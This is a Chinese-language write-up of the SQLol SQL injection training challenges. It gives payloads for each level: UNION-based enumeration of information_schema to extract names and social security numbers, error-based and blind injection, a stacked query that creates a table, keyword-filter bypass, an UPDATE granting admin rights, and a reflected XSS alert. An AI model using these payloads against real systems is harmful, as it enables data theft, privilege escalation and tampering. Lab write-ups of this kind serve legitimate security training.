SQLol上面的挑戰共有14關,接下來我們一關一關來突破。
Challenge 0
目的是讓查詢傳回所有的使用者名,而不是隻有一個。
SELECT username FROM users WHERE username = 【'1'】 GROUP BY username ORDER BY username ASC
注入點在【1】處
構造POC: 1' or 1=1# 或者 1' and 1=2 union select username from users#
都可以查詢到所有的使用者名。
Challenge 1
目标是找到資料庫中存在的社會安全号碼表并提取資訊。
注入點在【1】處,我們需要知道有哪些表哪些字段,才能找出所想要的資訊,為此,我們使用information_schema進行查表查列。
構造POC:
查出資料庫所有的庫, ' and 1=2 UNION SELECT table_schema FROM information_schema.tables#
選擇sqlol庫查表, ' and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema='sqlol'#
選擇表,查列, ' and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name='ssn'#
選擇字段,查資料, ' UNION SELECT concat(name, 0x7e, ssn) FROM ssn#
到此,已經得到所想要的資訊。
Challenge 2
SELECT username FROM users WHERE isadmin = 【1】 GROUP BY username ORDER BY username ASC
注入點在【1】處,與challenge1類似,所不同的,這是數字型注入,過濾單引号。
構造POC:
查出資料庫所有的庫,1 and 1=2 UNION SELECT table_schema FROM information_schema.tables#
選擇sqlol庫查表, 1 and 1=2 UNION SELECT table_name FROM information_schema.tables WHERE table_schema=0x73716C6F6C#(0x73716C6F6C是sqlol的Hex編碼)
選擇表,查列, 1 and 1=2 UNION SELECT column_name FROM information_schema.columns WHERE table_name=0x73736E#(0x73736E是ssn的Hex編碼)
選擇字段,查資料, 1 and 1=2 UNION SELECT concat(name, 0x7e, ssn) FROM ssn#
Challenge 3
無提示,隻輸出一行,詳細錯誤資訊,查詢不顯示,與challenge 1類似。
' UNION SELECT concat(name,':',ssn) FROM ssn LIMIT 0,1
Challenge 4
目的是找出資料庫中存在的社會安全号碼表,并提取其資訊,無盲SQL注入技術。
提示,有詳細的錯誤,可以使用報錯注入
構造POC:
' and extractvalue(1, concat(0x5c,(select user())))#
' AND ExtractValue(1,concat(0x01,(select concat(name,':',ssn) from ssn limit 0,1)))#
Challenge 5
提示,使用盲注,無輸入錯誤資訊
得到資料庫的長度: 1' or length(database())=5#
逐字猜解ascii碼: 1' or ascii(mid(database(),1,1))=115#
慢慢猜,總會猜出來的,大緻方法就這個。
Challenge 6
目标是建立一個新表稱為“ipwntyourdb”使用堆疊的查詢。
SELECT username FROM users WHERE username = 'Herp Derper';create table ipwntyourdb( id VARCHAR(100) NOT NULL)# GROUP BY username ORDER BY username ASC
Challenge 7
目标是找到資料庫中存在的社會安全号碼表,并從資料庫中删除任何内容,以提取其資訊。
提示:删除,報錯,查詢不顯示
POC:
DELETE FROM users WHERE username = '' or updatexml(1,concat(0x7e,(version()),0x7e),0) or''
Challenge 8
目标找到資料庫中存在的社會安全号碼表并提取資訊。
提示:有黑名單過濾,需繞過,過濾了union,select,where,and,or,--,#等字元。
' uNion seLect concat(name,':',ssn) from ssn uNion selEct null from users whEre username='
Challenge 9
目的是注入查詢并導緻其更新ID為3的使用者”isadmin”更改為1。
UPDATE users SET isadmin = 1 WHERE id = 3
如何把這句拼接到原有注入點,并執行成功呢?
POC:
UPDATE users SET username = 'admin', isadmin = 1 WHERE id = 3#
更新ID為3的username為admin,并把isadmin改為1.
Challenge 10
目标是從資料庫中擷取社會安全号碼。
提示:注入點在【1】處,SELECT 【1】 FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
seLect concat(name,':',ssn) from ssn#
Challenge 11
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY 1 and (select count(*) from information_schema.columns group by concat(version(),0x27202020,floor(rand(0)*2-1))) ASC
Challenge 12
目的是使用一個SQL注入漏洞執行反射跨站腳本攻擊。
1' and <script>alert(11)</script>#
SELECT username FROM users WHERE username = ' 1' and <script>alert(11)</script>#' GROUP BY username ORDER BY username ASC
執行過程中,會報錯,彈窗,然後提示如下:
SELECT username FROM users WHERE username = '1' and #' GROUP BY username ORDER BY username ASC
JavaScript腳本已經成功在浏覽器運作。
Challenge 13
目的是從資料庫檢索所有的使用者名。
在沒有過濾單引号的情況下:select username from users where username LIKE '2' or 1=1
過濾了單引号:
通過模糊查詢的方法來盲注,
%,表示任意0個或多個字元
_,表示任意單個字元
[],表示字元括号中所列字元的一個
[^],不在這裡的所列字元
根據頁面傳回是否正确得到判斷。
1、得到username的一個首字元
select username from users where username LIKE 'P%' LIMIT 0,1
2、判斷以P開頭的首字元有幾位
select username from users where username LIKE 'P__________' LIMIT 0,1
3、接着往下猜解呗。。。。